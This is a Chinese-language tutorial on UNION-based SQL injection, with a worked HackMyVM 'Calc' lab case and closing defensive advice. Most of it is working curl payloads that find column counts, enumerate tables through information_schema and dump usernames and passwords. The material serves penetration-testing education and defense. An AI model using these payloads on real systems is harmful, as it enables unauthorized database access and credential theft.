跳到主要内容

UNION SQL 注入枚举

UNION SQL 注入适用于“后端把用户输入拼进查询,并把查询结果或错误回显到页面”的场景。它的目标不是盲猜数据,而是把攻击者构造的 UNION SELECT 结果拼到原查询结果里,从而读取数据库信息。

只在自有系统、授权测试或靶场环境中使用。真实业务测试应控制请求速率和数据读取范围。


判断条件

条件说明
输入进入 SQL例如 /api/track/<id>?id=1?name=...
有错误或结果回显报错、字段内容、列表页都可以帮助判断
可控制查询结构单引号、注释符、排序、UNION 能影响响应
原查询列数可推断UNION 两边列数必须一致

基础流程

1. 报错确认

curl -s "http://target/api/track/1'"

如果响应中出现 MariaDB、MySQL、PostgreSQL、SQLite 等数据库错误,说明后端可能直接拼接输入。

2. 判断列数

常用 ORDER BY

curl -s "http://target/api/track/1 ORDER BY 3-- -"
curl -s "http://target/api/track/1 ORDER BY 4-- -"

如果 ORDER BY 3 正常、ORDER BY 4 报错,原查询结果通常是 3 列。

也可以用 UNION SELECT NULL 逐步测试:

curl -s "http://target/api/track/-1 UNION SELECT NULL,NULL,NULL-- -"

3. 枚举数据库信息

MySQL / MariaDB 常用:

curl -s "http://target/api/track/-1 UNION SELECT 1,@@version,3-- -"
curl -s "http://target/api/track/-1 UNION SELECT 1,user(),3-- -"
curl -s "http://target/api/track/-1 UNION SELECT 1,database(),3-- -"

4. 枚举表名

curl -s "http://target/api/track/-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -"

5. 枚举列名

curl -s "http://target/api/track/-1 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_schema=database() AND table_name='users'-- -"

6. 读取目标数据

curl -s "http://target/api/track/-1 UNION SELECT 1,GROUP_CONCAT(id,':',username,':',password SEPARATOR '||'),3 FROM users-- -"

URL 编码

如果空格、引号或 # 被代理、浏览器或服务器处理掉,可以 URL 编码:

字符编码
空格%20
'%27
#%23
+%2b
&%26

示例:

curl -s 'http://target/api/track/-1%20UNION%20SELECT%201,database(),3--%20-'

Calc 案例

Calc 中,Track ID 被拼进 MariaDB 查询。流程是:

单引号报错 -> ORDER BY 判断 3 列 -> UNION 读取 database/user/version
-> information_schema 枚举表 -> 读取 webapp_users 和 system_config

关键读取:

curl -s "http://192.168.1.114/api/track/-1 UNION SELECT 1,GROUP_CONCAT(id,':',username,':',password SEPARATOR '||'),3 FROM webapp_users-- -"

完整过程见:HackMyVM Calc 通关记录


防坑点

  1. UNION 两边列数必须一致,列类型也可能影响回显。
  2. 注释符要适配数据库和后端拼接方式,MySQL 常见 -- -#
  3. 字符串位置不一定回显,先用数字或固定文本判断哪一列可见。
  4. GROUP_CONCAT 可能被长度限制,必要时分表、分列、分页读取。
  5. 不要把生产数据全量拖出。授权测试中应最小化读取范围。

防御建议

  1. 使用参数化查询或 ORM 绑定参数,不拼接 SQL。
  2. 对错误回显做泛化处理,详细错误写服务端日志。
  3. 数据库账号最小权限,不给 Web 账号访问无关表。
  4. 敏感字段使用强哈希或密钥管理,不存明文密码。
  5. 对异常查询、错误频率和 UNION 关键词做日志监控。